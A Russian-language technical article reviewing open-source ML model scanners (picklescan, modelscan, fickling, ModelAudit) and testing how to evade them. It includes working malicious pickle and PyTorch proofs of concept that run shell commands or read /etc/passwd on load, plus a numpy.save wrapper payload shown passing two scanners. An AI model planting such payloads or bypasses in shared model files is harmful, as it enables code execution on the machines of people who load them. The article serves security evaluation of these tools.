СодержаниеО каких сканерах идет речь Форматы хранения моделей машинного обучения Подробнее про Pickle Сканеры моделей picklescanmodelscanfickling ModelAudit СпСодержаниеО каких сканерах идет речь Форматы хранения моделей машинного обучения Подробнее про Pickle Сканеры моделей picklescanmodelscanfickling ModelAudit Сп

Сканеры ML-моделей: разбор инструментов и некоторых методов обхода их проверок

Содержание

О каких сканерах идет речь

Форматы хранения моделей машинного обучения

  • Подробнее про Pickle

Сканеры моделей

  • picklescan

  • modelscan

  • fickling

  • ModelAudit

Способы обхода сканеров

  • Обход проверок через использование функций «оберток»

  • Использование форматов, расширяющих функционал Pickle

Выводы

Не у всех нас имеется достаточное количество ресурсов (вычислительных, умственных и других) для проектирования и обучения ML-моделей с нуля. Поэтому кажется логичным взять уже готовые модели — к счастью, за нас многое уже сделано. Для понимания масштаба: на одном только HF (репозиторий Hugging Face) уже доступно для скачивания более двух миллионов моделей.

Не все они были загружены авторитетными компаниями или экспертами, не все имеют десятки тысяч скачиваний в сутки. Даже изначально легитимные открытые репозитории могут оказаться источником риска. Компания Mitiga недавно поделилась статистикой о проценте репозиториев в мире ML, содержащих уязвимости критического или высокого уровня опасности в GitHub Actions Workflows.

Иллюстрация результатов сканирования файлов в случайном репозитории Hugging Face
Иллюстрация результатов сканирования файлов в случайном репозитории Hugging Face

Меня зовут Вячеслав Мосин, я учусь в магистратуре AI Talent Hub в ИТМО, прохожу практику в лаборатории ITMO AI Security Lab и работаю в Positive Technologies в отделе экспертизы MaxPatrol VM. В этой статье я расскажу о том, какие существуют инструменты для проверки ML-моделей, как они сканируют артефакты различных ML-фреймворков, о том, какой еще функционал заложен в них. А в финале несколькими способами попробуем обойти проверки рассматриваемых инструментов.

О каких сканерах идет речь

Компания OWASP в своем топе угроз Top 10 for LLM упоминает риск отравления данных или моделей в нескольких главах: «LLM03:2025 Supply Chain» и «LLM04: Data and Model Poisoning». Упомянутый документ ссылается на следующую модель угроз для LLM:

Угрозы в цепочке поставок для систем, использующих LLM – источник
Угрозы в цепочке поставок для систем, использующих LLM – источник

Инструменты, описанные в статье, помогают снизить риски, связанные с загрузкой отравленных моделей и данных (T05 и T06 в таблице угроз на рисунке), за счет проверки содержимого артефактов хранения моделей машинного обучения.

Форматы хранения моделей машинного обучения

Хочется сказать просто – их много.

Чтобы увидеть полную картину, можно заглянуть в репозиторий trailofbits/ml-file-formats – в нем приведен список более 50 форматов, хотя сам он не обновлялся уже более года.

Останавливаться на разборе каждого из форматов не будем – это выходит за рамки статьи, стоит отметить, что основной угрозой являются форматы, при загрузке допускающие выполнение кода, который можно заранее в них внедрить. Чаще всего в контексте этого говорится об артефактах протокола сериализации Pickle (файлы имеют расширение .pkl) и о тех, которые базируются на нем, например:

  • фреймворк PyTorch использует форматы хранения .pt, .pth, .ckpt, .bin, которые представляют собой архивированные pickle-объекты

  • библиотека Joblib оперирует своим расширением .joblib, но внутри по-прежнему pickle-объекты, но поверх него добавлен свой слой логики и формат хранения

  • NumPy - внутри .npy, .npz снова используются объекты формата pickle

Хороший пример приоритезации форматов хранения моделей по уровню риска от их использования представлен в документации сканера modelaudit.

Подробнее про Pickle

В качестве основного подопытного формата сериализации для статьи был выбран Pickle по нескольким причинам: во-первых, как уже отмечалось, многие популярные фреймворки из мира ML используют Pickle внутри своих форматов хранения; во-вторых, при помощи Pickle не составляет большого труда собрать такой файл, который выполнит произвольный код при десериализации – это повышает важность сканирования Pickle-файлов и упрощает эксперименты.

Итак, Pickle – протокол для сериализации и десериализации объектов Python, в контексте Pickle часто используются термины «pickling» – процесс конвертации объекта в байтовый поток, а через «unpickling» обозначается обратная операция.

Какие типы данных можно «пиклить»: встроенные константы, числа, строки, байты и их массивы, картежи, списки, словари; с некоторыми ограничениями – функции, классы и их экземпляры. Подробнее можно почитать в документации.

Пример сериализации и десериализации:

import pickle pickled = pickle.dumps(['for', 'pickling', 'test']) unpickled = pickle.loads(pickled) print(f"pickled: '{pickled}'") print(f"unpickled: '{unpickled}'") >>> pickled: 'b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x03for\x94\x8c\x08pickling\x94\x8c\x04test\x94e.'' >>> unpickled: '['for', 'pickling', 'test']'

Следует учитывать, что результатом pickling является сохраненный в памяти специфическим образом закодированный набор операций для восстановления оригинальной структуры объекта вместе с исходными данными.

В большинстве случаев нет необходимости вмешиваться в процессы сериализации и обратного преобразования, но такая возможность заложена в Pickle. Например, метод __reduce__ позволяет в процессе десериализации обратиться к вызываемому объекту (callable object) и передать в него аргументы.

Простейший пример использования __reduce__ c полезной нагрузкой в виде записи в произвольные файлы на системе приведен ниже:

import pickle import os class Malicious: def __reduce__(self): cmd = 'echo "HACKED" > /tmp/hacked' return os.system, (cmd,) malicious_payload = Malicious() with open('exploit_os_system.pkl', 'wb') as f: pickle.dump([malicious_payload], f) with open('exploit_os_system.pkl', 'rb') as f: data = pickle.load(f)

Почитать про опасность использования Pickle можно в следующих статьях:

  • https://intoli.com/blog/dangerous-pickles/

  • https://davidhamann.de/2020/04/05/exploiting-python-pickle/

  • https://chengchingwen.github.io/Pickle.jl/dev/opcode/

Сканеры моделей

Как уже отмечалось, при загрузке файлов в репозитории Hugging Face выполняются проверки этих файлов, в том числе и статическими сканерами моделей ИИ (HF для этого использует встроенный сканер JFrog, modelscan от Protect AI и собственный инструмент под названием picklescan).

В этой части статьи приводится обзор основных на сегодняшний день статических сканеров моделей ИИ с открытым исходным кодом:

  • picklescan

  • modelscan

  • fickling

  • ModelAudit

picklescan

Репозиторий: https://github.com/mmaitre314/picklescan

Примитивный сканер, разрабатываемый Hugging Face, логика его работы основана на применении паттерновых проверок для названий загружаемых модулей. Очевидно, что невозможно разработать проверки для всех возможных модулей (на текущий момент к опасным отнесено около 70 глобальных имен, это определено переменной _unsafe_globals в файле scanner.py), которые могут использоваться во вредоносных целях, поэтому эффективность сканера весьма ограничена.

На вход принимает файлы в форматах:

  • numpy: ".npy"

  • pytorch: ".bin", ".pt", ".pth", ".ckpt"

  • pickle: ".pkl", ".pickle", ".joblib", ".dat", ".data"

  • zip: ".zip", ".npz", ".7z"

Для файлов всех форматов применяется единая логика:

  1. Внутри файла или архива происходит поиск данных, сериализованных по протоколу Pickle

  2. Из найденных данных извлекаются глобальные имена (_list_globals)

  3. Если какое-то глобальное имя совпадает с паттерном из _unsafe_globals, то глобальное имя сохраняется в список сработок с уровнем опасности SafetyLevel.Dangerous

  4. В случае если обрабатываемое глобальное имя не попадает ни под один из фильтров (safe_filter или unsafe_filter), то оно добавляется в список сработок с отдельным уровнем опасности SafetyLevel.Suspicious (другие уровни: Innocuous, Dangerous)

Посмотрим на работу picklescan на практике, для этого при помощи следующего кода создадим пример «зловреда», позволяющего производить запись в произвольные файлы на системе во время десериализации:

import pickle import os class Malicious: def __reduce__(self): cmd = 'echo "HACKED" > /tmp/hacked' return os.system, (cmd,) malicious_payload = Malicious() with open('exploit_os_system.pkl', 'wb') as f: pickle.dump([malicious_payload], f) with open('exploit_os_system.pkl', 'rb') as f: pickle.load(f)

Отчет picklescan о результате проверки «exploit_os_system.pkl»:

$ picklescan --globals --path .\exploit_os_system.pkl \...\exploit_os_system.pkl: dangerous import 'posix system' FOUND ----------- SCAN SUMMARY ----------- Scanned files: 1 Infected files: 1 Dangerous globals: 1 All globals found: * posix.system - dangerous

Другие интересные моменты, связанные с использованием picklescan:

  • Документация ограничена файлом README

  • Доступно сканирование файлов в удаленных репозиториях HuggingFace

  • Для сканера задокументированы коды завершения (exit codes)

    • 0: scan did not find malware

    • 1: scan found malware

    • 2: scan failed

  • Флаг -g/--globals позволяет выводить полученные глобальные имена из сканируемого файла

modelscan

Репозиторий: https://github.com/protectai/modelscan

Инструмент компании Protect AI поддерживает проверку артефактов фреймворков PyTorch, TensorFlow, Keras, Sklearn и XGBoost. Принцип работы прост: получая на вход путь к директории или файлу, формируется список артефактов для проверки, к каждому из них применяется проверка всеми сканерами.

Рассмотрим механику работы некоторых встроенных сканеров.

Сканирование артефактов Pickle при помощи modelscan

Код проверки: /modelscan/scanners/pickle/scan.py#L72

  1. Получение из файла всех глобальных имен

  2. Сопоставление со словарём потенциально опасных импортов, стоит отметить, что сам словарь довольно компактен (/modelscan/settings.py#L94)

  3. Если какое-то глобальное имя, полученное из анализируемого файла, совпало с одним из _unsafe_globals , то сработка сохраняется для формирования итогового отчета.

Сканирование артефактов Pytorch при помощи modelscan

Код проверки: /modelscan/scanners/pickle/scan.py#L17

Изначально казалось, что нет смысла отдельно разбирать процесс сканирования артефактов фреймворка Pytorch, ведь, наверное, здесь все аналогично picklescan — если встретили архив, то распаковываем его и ищем интересные для сканирования файлы. Однако интуиция подвела — если файл имеет расширение, к примеру, .pth и представляет собой zip-архив, то его сканирование просто пропускается.

Данная логика реализована в файле /modelscan/scanners/pickle/scan.py, ниже представлена его часть:

class PyTorchUnsafeOpScan(ScanBase): def scan( self, model: Model, ) -> Optional[ScanResults]: if SupportedModelFormats.PYTORCH.value not in [ format_property.value for format_property in model.get_context("formats") ]: return None # ПРОПУСКАЕМ АРХИВ if _is_zipfile(model.get_source(), model.get_stream()): return None results = scan_pytorch( model=model, settings=self._settings, ) return self.label_results(results)

Приведенный ниже скрипт создает файл .pth с полезной нагрузкой для вывода первых трех строк файла /etc/passwd на хосте в процессе десериализации:

import torch import dill def run_cmd(cmd): import builtins module = getattr(builtins, '__import__')('os') getattr(module, 'system')(cmd) class Exploit: def __reduce__(self): return (run_cmd, ("cat /etc/passwd | head -3",)) model = torch.nn.Linear(1, 1) exploit = Exploit() torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)

Скрипт собирает артефакт malicious.pth, попробуем загрузить его:

>>> import torch >>> import dill >>> torch.load('malicious.pth', pickle_module=dill) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin {'model': Linear(in_features=1, out_features=1, bias=True), 'exploit': None}

Как видно, полезная нагрузка работает. Теперь просканируем файл malicious.pth при помощи modelscan:

$ modelscan scan -p malicious.pth No settings file detected at .../torch_not_obfuscated/modelscan-settings.toml. Using defaults. Scanning .../torch_not_obfuscated/malicious.pth:malicious/data.pkl using modelscan.scanners.PickleUnsafeOpScan model scan --- Summary --- No issues found! 🎉 --- Skipped --- Total skipped: 7 - run with --show-skipped to see the full list.

Согласно отчету, инструмент в процессе работы определил, что внутри архива существует файл data.pkl, но обработал это благодаря модулю PickleUnsafeOpScan, а специфичный для PyTorch модуль сработку не выдал.

Данный пример подсвечивает необходимость практического исследования возможностей таких сканеров перед внедрением в промышленную эксплуатацию, не основываясь только на декларируемых возможностях в описаниях проектов.

fickling

Репозиторий: https://github.com/trailofbits/fickling

Подписания инструмента из README проекта:

Советую самостоятельно изучить README, в нем описаны и другие фичи продукта, в число которых входит:

  • использование сканера как фильтра загружаемых кодом моделей через хуки

  • распознание, валидация и создание файлов-полиглотов на базе разных версий форматов хранения PyTorch.

Практическое знакомство с инструментом предлагаю начать с чего-то экзотического — с чего-то такого, что не смогли продемонстрировать рассмотренные ранее сканеры. Возможность трейсирования виртуальной машины Pickle подходит для этого.

Чаще всего для статического анализа файлов pickle используется встроенный в стандартную библиотеку Python дизассемблер под названием pickletools (например, уже упоминавшийся сканер «picklescan» в процессе своей работы использует именно pickletools — /picklescan/scanner.py#L256).

Далее проанализируем разбор уже упоминавшегося примера зловредного pickle-файла силами fickling --trace в сравнении с pickletools.

спойлер
спойлер

Код сборки «зловредного» pickle:

import pickle import os class Malicious: def __reduce__(self): cmd = 'echo "HACKED" > /tmp/hacked' return os.system, (cmd,) malicious_payload = Malicious() with open('exploit_os_system.pkl', 'wb') as f: pickle.dump([malicious_payload], f) with open('exploit_os_system.pkl', 'rb') as f: pickle.load(f)

Отчет pickletools (флаг -a добавляет аннотации, кратко описывающие каждый опкод):

$ python -m pickletools -a exploit_os_system.pkl 0: \x80 PROTO 4 Protocol version indicator. 2: \x95 FRAME 57 Indicate the beginning of a new frame. 11: ] EMPTY_LIST Push an empty list. 12: \x94 MEMOIZE (as 0) Store the stack top into the memo. The stack is not popped. 13: \x8c SHORT_BINUNICODE 'posix' Push a Python Unicode string object. 20: \x94 MEMOIZE (as 1) Store the stack top into the memo. The stack is not popped. 21: \x8c SHORT_BINUNICODE 'system' Push a Python Unicode string object. 29: \x94 MEMOIZE (as 2) Store the stack top into the memo. The stack is not popped. 30: \x93 STACK_GLOBAL Push a global object (module.attr) on the stack. 31: \x94 MEMOIZE (as 3) Store the stack top into the memo. The stack is not popped. 32: \x8c SHORT_BINUNICODE 'echo "HACKED" > /tmp/hacked' Push a Python Unicode string object. 61: \x94 MEMOIZE (as 4) Store the stack top into the memo. The stack is not popped. 62: \x85 TUPLE1 Build a one-tuple out of the topmost item on the stack. 63: \x94 MEMOIZE (as 5) Store the stack top into the memo. The stack is not popped. 64: R REDUCE Push an object built from a callable and an argument tuple. 65: \x94 MEMOIZE (as 6) Store the stack top into the memo. The stack is not popped. 66: a APPEND Append an object to a list. 67: . STOP Stop the unpickling machine. highest protocol among opcodes = 4

Отчет fickling --trace:

$ fickling --trace .\exploit_os_system.pkl PROTO FRAME EMPTY_LIST Pushed [] MEMOIZE Memoized 0 -> [] SHORT_BINUNICODE Pushed 'posix' MEMOIZE Memoized 1 -> 'posix' SHORT_BINUNICODE Pushed 'system' MEMOIZE Memoized 2 -> 'system' STACK_GLOBAL from posix import system Popped 'system' Popped 'posix' Pushed system MEMOIZE Memoized 3 -> system SHORT_BINUNICODE Pushed 'echo "HACKED" > /tmp/hacked' MEMOIZE Memoized 4 -> 'echo "HACKED" > /tmp/hacked' TUPLE1 Popped 'echo "HACKED" > /tmp/hacked' Pushed ('echo "HACKED" > /tmp/hacked',) MEMOIZE Memoized 5 -> ('echo "HACKED" > /tmp/hacked',) REDUCE _var0 = system('echo "HACKED" > /tmp/hacked') Popped ('echo "HACKED" > /tmp/hacked',) Popped system Pushed _var0 MEMOIZE Memoized 6 -> _var0 APPEND Popped _var0 STOP result0 = [_var0] Popped [_var0] from posix import system _var0 = system('echo "HACKED" > /tmp/hacked') result0 = [_var0]

В отчете Fickling помимо вывода последовательности символическего выполнения кода, демонстрируется еще и более человекочитаемый формат представления данных внутри Pickle – в виде кода на Python. Благодаря такому декомпилированию fickling --trace выигрывает в сравнении с pickletools в интерпретируемости результата.

Рассмотрев трассировку ВМ Pickle, вернёмся к проверке файлов на наличие «зловреда». Стоит отметить, что данный инструмент поддерживает проверку только тех данных, которые сериализованы по протоколу Pickle.

Сканирование происходит по следующему алгоритму:

  1. Загрузка файла и его парсинг
    Основная функциональность на данном шаге представлена в методе load класса Pickled в файле /fickling/fickle.py#L766, в нем реализован цикл прохода по всем опкодам анализируемого pickle-файла, для каждого опкода инструмент собирает следующий набор данных:

    1. info – объект класса OpcodeInfo, в себя включает атрибуты, обозначающие имя и код опкода, аргумент, состояние стека до и после выполнения опкода, версия протокола Pickle в которой был добавлен опкод, человекочитаемое описание для опкода

    2. argument – аргумент опкода

    3. data – сырые байты опкода, включающие его код и аргумент (если есть)

    4. position – позиция опкода

  2. Проверка загруженных данных несколькими анализаторами
    На момент написания статьи в сканере используется восемь анализаторов (/fickling/analysis.py). Рассмотрим предназначение каждого из них:

    1. DuplicateProtoAnalysis – обнаруживает дублирующиеся опкоды PROTO, что нетипично для легитимных pickle-файлов и может указывать на модификацию;

    2. MisplacedProtoAnalysis – проверяет, что PROTO опкод находится в начале файла (требование для версий ≥2), нарушение может быть признаком подделки;

    3. NonStandardImports – выявляет импорты модулей, не входящих в стандартную библиотеку Python, что потенциально опасно;

    4. UnsafeImportsML – детектирует импорты известных опасных модулей (os, subprocess, builtins) и функций (eval, torch.load), используя предопределённый список угроз;

    5. BadCalls – ищет прямые вызовы критически опасных функций (exec, eval, compile, open);

    6. OvertlyBadEvals – анализирует все вызовы функций (кроме setstate), выявляя явно вредоносные (eval, exec) и потенциально небезопасные вызовы;

    7. UnsafeImports – использует метод pickled.unsafe_imports() для поиска подозрительных импортов из базового набора опасных модулей;

    8. UnusedVariables – находит переменные, которым присвоены значения, но они нигде не используются; такое поведение подозрительно и может скрывать вредоносный код.

  3. Сохранение результата

Сканирование на практике выполним при помощи созданного ранее exploit_os_system.pkl:

$ fickling --check-safety .\...\exploit_os_system.pkl $ cat safety_results.json { "severity": "LIKELY_OVERTLY_MALICIOUS", "analysis": "`from posix import system` uses `posix` that is indicative of a malicious pickle file. This module contains functions that can perform system operations and execute arbitrary code.\n`from posix import system` is suspicious and indicative of an overtly malicious pickle file\nVariable `_var0` is assigned value `system(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnsafeImportsML": "from posix import system", "UnsafeImports": "from posix import system", "UnusedVariables": [ "_var0", "system(...)" ] } } }

Подготовленный «зловред» получил почти максимальную оценку опасности – Likely Overtly Malicious, список всех severity-меток представлен ниже (/fickling/analysis.py#L69):

class Severity(Enum): LIKELY_SAFE = (0, "No Unsafe Operations Discovered") POSSIBLY_UNSAFE = (1, "Possibly Unsafe") SUSPICIOUS = (2, "Suspicious") LIKELY_UNSAFE = (3, "Likely Unsafe") LIKELY_OVERTLY_MALICIOUS = (4, "Likely Overtly Malicious") OVERTLY_MALICIOUS = (5, "Overtly Malicious")

Вывод по Fickling:
Инструмент представляет собой интересное решение, включающее проверки, отсутствующие у ранее рассмотренных сканерах. Его логика основана на собственной реализации виртуальной машины Pickle, а функциональность выходит за рамки сканирования файлов.

ModelAudit

Обзор сканеров завершает ModelAudit, являющийся компонентом более объемного инструмента для тестирования приложений на базе LLM под названием promptfoo.

Среди прочих сканеров ModelAudit сразу выделяется документацией – удивляет не только ее наличие, но и ее объем и качество. Ссылки на документацию:

  • Раздел в документации promptfoo, посвященный ModelAudit

  • Карточка проекта на портале PyPl

На данный момент сканер поддерживает работу с артефактами следующих фреймворков и расширений:
PyTorch (.pt, .pth, .bin), TensorFlow SavedModel (.pb, directories), TensorFlow Lite (.tflite), TensorRT (.engine, .plan), Keras (.h5, .keras, .hdf5), ONNX (.onnx), SafeTensors (.safetensors), GGUF/GGML (.gguf, .ggml, .ggmf, .ggjt, .ggla, .ggsa), Flax/JAX (.msgpack, .flax, .orbax, .jax), JAX Checkpoints (.ckpt, .checkpoint, .orbax-checkpoint), Pickle (.pkl, .pickle, .dill), Joblib (.joblib), NumPy (.npy, .npz), PMML (.pmml), ZIP Archives (.zip), Container Manifests (.manifest), Binary Files (.bin)

Ознакомиться с тем, какие проверки выполняются для каждого формата, можно в документации на странице ModelAudit Scanners.

В ходе валидации файла сканер выполняет разные проверки для поиска проблем безопасности, ниже представлены некоторые из них:

  • Malicious Code: Обнаружение потенциально опасного кода в pickled-моделях

  • Suspicious Operations: Идентификация рискованных операций TensorFlow и пользовательских операторов ONNX

  • Unsafe Layers: Поиск потенциально небезопасных слоёв Keras Lambda

  • Blacklisted Names: Проверка моделей с именами, совпадающими с подозрительными шаблонами

  • Dangerous Serialization: Обнаружение небезопасных pickle-операций, вложенных pickle-объектов и цепочек «decode-exec»

  • Enhanced Dill/Joblib Security: Расширенное ML-сканирование с проверкой формата и защитой от обхода ограничений

  • Encoded Payloads: Поиск подозрительных строк, которые могут указывать на скрытый код

  • Risky Configurations: Обнаружение опасных настроек в архитектуре моделей

  • XML Security: Обнаружение XXE-атак и вредоносного содержимого в PMML-файлах

  • Embedded Executables: Поиск встроенных исполняемых файлов (Windows PE, Linux ELF, macOS Mach-O)

  • Container Security: Сканирование файлов моделей внутри контейнерных слоёв OCI/Docker

  • Compression Attacks: Обнаружение zip-бомб и атак, связанных с распаковкой

  • Weight Anomalies: Статистический анализ для выявления потенциальных бэкдоров

  • Format Integrity: Проверка целостности структуры файлового формата

  • License Compliance: Обнаружение ограничений лицензий (например, AGPL) и коммерческих ограничений

  • DVC Integration: Автоматическое определение и сканирование моделей, отслеживаемых через DVC

  • Secrets Detection: Поиск встроенных API-ключей, токенов и учётных данных

  • Network Analysis: Обнаружение URL, IP и сетевого взаимодействия, которое может привести к утечке данных

  • JIT Code Detection: Сканирование TorchScript, пользовательских операций ONNX и другого JIT-компилированного кода

На момент написания статьи github репозиторий modelaudit при обращении выдает ошибку и является недоступным. Но для просмотра исходного кода достаточно установить modelaudit при помощи pip install modelaudit[all] и далее найти директорию Lib\site-packages\modelaudit\ внутри активного виртуального окружения Python, в ней находятся все исходники.

Кодовая база инструмента имеет следующую структуру (взято из карточки проекта на портале PyPI):

modelaudit/ ├── scanners/ # 29 specialized file format scanners │ ├── pickle_scanner.py, pytorch_*.py, onnx_scanner.py, etc. │ └── base.py - BaseScanner class with shared functionality │ ├── detectors/ # Security threat detection modules │ ├── cve_patterns.py - Known CVE patterns (CVE-2025-32434, etc.) │ ├── secrets.py - API keys, tokens, credentials │ ├── jit_script.py - JIT/TorchScript malicious code │ ├── network_comm.py - URLs, IPs, sockets │ └── suspicious_symbols.py - Dangerous function calls │ ├── integrations/ # External system integrations │ ├── jfrog.py - JFrog Artifactory support │ ├── mlflow.py - MLflow registry support │ ├── sbom_generator.py - CycloneDX SBOM generation │ ├── sarif_formatter.py - SARIF output format │ └── license_checker.py - License compliance │ ├── analysis/ # Advanced analysis algorithms │ ├── anomaly_detector.py, entropy_analyzer.py │ └── ml_context_analyzer.py - Context-aware analysis │ ├── utils/ │ ├── file/ # File handling (detection, filtering, streaming) │ ├── sources/ # Model sources (HuggingFace, cloud, JFrog, DVC) │ └── helpers/ # Generic utilities (retry, caching, etc.) │ ├── cache/ # Caching system for scan results ├── auth/ # Authentication for remote sources ├── progress/ # Progress tracking and UI │ ├── core.py # Main scanning orchestration └── cli.py # Command-line interface

Другие особенности инструмента:

  • При установке в связке с promptfoo имеет графический интерфейс

  • Поддерживает сканирование артефактов из удаленных источников (HuggingFace Hub, Amazon S3, Google Cloud Storage и другие), полный список поддерживаемых источников - ссылка

  • Подходит для интеграции в пайплайны CI/CD, имеет задокументированные коды завершения (exit codes) - ссылка):

    • 0: No security issues found

    • 1: Security issues detected (warnings or critical)

    • 2: Scan errors occurred (installation, file access, etc.)

  • Из коробки имеет несколько способов установки – при помощи пакетных менеджеров pip и npm или через Docker-контейнер

Сканирование на практике выполним при помощи созданного ранее exploit_os_system.pkl. Отчет modelaudit.

$ modelaudit scan --format json --output .\exploit_os_system.pkl.json .\exploit_os_system.pkl ... $ cat .\exploit_os_system.pkl.json { "bytes_scanned": 68, "issues": [ { "message": "Suspicious reference posix.system", "severity": "critical", "location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl", "details": { "module": "posix", "function": "system", "opcode": "STACK_GLOBAL", "ml_context_confidence": 0.0 }, "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.", "timestamp": 1766475716.6643486, "type": "pickle_check" }, { "message": "Found REDUCE opcode with non-allowlisted global: posix.system. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)", "severity": "critical", "location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl (pos 64)", "details": { "position": 64, "opcode": "REDUCE", "associated_global": "posix.system", "cve_id": "CVE-2025-32434", "ml_context_confidence": 0.0 }, "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.", "timestamp": 1766475716.6649423, "type": "pickle_check" }, { "message": "Suspicious module reference found: posix.system", "severity": "critical", "location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl (pos 30)", "details": { "module": "posix", "function": "system", "position": 30, "opcode": "STACK_GLOBAL", "ml_context_confidence": 0.0 }, "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.", "timestamp": 1766475716.66521, "type": "pickle_check" } ], "checks": [ { < СОКРАЩЕНО > } ], "files_scanned": 1, "assets": [ { "path": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl", "type": "pickle", "size": 68 } ], "has_errors": false, "scanner_names": [], "file_metadata": { "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl": { "file_size": 68, "file_hashes": { "md5": "0ad312bd0babad43c4f2ee8aa2f35c43", "sha256": "c8f2b14c6720cea42c0e08f545a05d23a3555eeac42a6574930768d3046f33d4", "sha512": "5a898e9c8e4db44782857a72c75da2c1809bbe9aade607d1f29aee8fd6c0c1404b5259918a7d469b36c3f7dffe2051e79383b1cf62d66b97361c1698d1878a29" }, "max_stack_depth": 0, "opcode_count": 18, "suspicious_count": 2, "ml_context": { "frameworks": {}, "overall_confidence": 0.0, "is_ml_content": false, "detected_patterns": [], "optimization_hints": [] }, "license_info": [], "copyright_notices": [], "license_files_nearby": [], "is_dataset": true, "is_model": true, "risk_score": 0.0, "scan_timestamp": 1766475716.6656933 } }, "content_hash": "b7898899d10ccf40e66c39c9cf565d818295fa2db01e8b3100512940a4795129", "start_time": 1766475716.5934618, "duration": 0.07524228096008301, "total_checks": 16, "passed_checks": 13, "failed_checks": 3, "success": true }

Вывод по ModelAudit:
Данный сканер имеет самое широкое покрытие разных форматов моделей машинного обучения и для каждого из форматов применяет проверки разных типов. Для инструмента написана подробная документация и подготовлено несколько способов его установки. Среди обозреваемых сканеров именно ModelAudit показался мне самым зрелым инструментом.

Способы обхода сканеров

Сканеров много, разных проверок внутри них еще больше, теперь посмотрим, так ли сложно их обойти, используя для этого разные техники.

Обход проверок через использование функций «оберток»

Некоторые сканеры в качестве основного механизма проверки модели используют простую логику – вытягивают из файла список глобальных имен и сверяют его с заранее заготовленным списком потенциально опасных модулей и функций. Очевидно, что злоумышленник может найти такой модуль, который не помечен как опасный, и в процессе своей работы сам выполняет интересный для злоумышленника функционал или вызывает для выполнения опасную функцию (например, для работы с файлом вызывает встроенную в Python функцию open).

У этого способа есть ограничение – в окружении, в котором загружается pickle-файл, должен быть доступен объект, на который ссылается __reduce__ в своем return.

Итак, PoC сборки pickle файла, который в процессе загрузки производит запись в файл "/tmp/hacked.npy":

import pickle import random import numpy as np tabular_data = [ { "id": i, "name": f"Item-{i}", "value": random.randint(1, 100), "category": random.choice(['A', 'B', 'C']) } for i in range(1, 6) ] class Malicious: def __reduce__(self): # ASCII для "HACKED\n" data = np.array([72, 65, 67, 75, 69, 68, 10], dtype=np.uint8) return ( np.save, ('/tmp/hacked.npy', data) ) malicious_payload = Malicious() with open('bypass_numpy.pkl', 'wb') as f: pickle.dump([tabular_data, malicious_payload], f)

Код загрузки собранного файла:

import pickle with open('bypass_numpy.pkl', 'rb') as f: data = pickle.load(f) print("Loaded data:") print(data)

Загрузка "bypass_numpy.pkl" в окружении с установленным numpy:

(ai_venv) $ pip show numpy | grep Version: Version: 2.3.5 (ai_venv) $ rm /tmp/hacked.npy rm: cannot remove '/tmp/hacked.npy': No such file or directory (ai_venv) $ python load.py Loaded data: [[{'id': 1, 'name': 'Item-1', 'value': 98, 'category': 'A'}, {'id': 2, 'name': 'Item-2', 'value': 85, 'category': 'B'}, {'id': 3, 'name': 'Item-3', 'value': 18, 'category': 'B'}, {'id': 4, 'name': 'Item-4', 'value': 41, 'category': 'C'}, {'id': 5, 'name': 'Item-5', 'value': 43, 'category': 'A'}], None] (ai_venv) $ cat /tmp/hacked.npy �NUMPYv{'descr': '|u1', 'fortran_order': False, 'shape': (7,), } HACKED

Сводка проверок собранного "bypass_numpy.pkl" всеми сканерами (отчеты сканеров представлены ниже):

Сканер

Найдены ли проблемы

Уровень опасности

Обозначения сработавших проверок

picklescan

modelscan

fickling

LIKELY_UNSAFE

NonStandardImports,
UnusedVariables

modelaudit

warning, info

Found REDUCE opcode with nonallowlisted global:_reconstruct.ndarray ... ;

STACK_GLOBAL opcode found without sufficient string context

Отчет picklescan:

$ picklescan -p .\bypass_numpy.pkl ----------- SCAN SUMMARY ----------- Scanned files: 1 Infected files: 0 Dangerous globals: 0

Отчет modelscan:

$ modelscan -p bypass_numpy.pkl No settings file detected at /.../modelscan-settings.toml. Using defaults. Scanning /.../bypass_numpy.pkl using modelscan.scanners.PickleUnsafeOpScan model scan --- Summary --- No issues found! 🎉

Отчет fickling:

{ "severity": "LIKELY_UNSAFE", "analysis": "`from numpy import save` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy._core.multiarray import _reconstruct` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy import ndarray` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy import dtype` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\nVariable `_var4` is assigned value `save('/tmp/hacked.npy', _var3)` but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "NonStandardImports": "from numpy import dtype", "UnusedVariables": [ "_var4", "save('/tmp/hacked.npy', _var3)" ] } } }Отчет modelaudit (для краткости удалены проверки, не выдавшие результат)

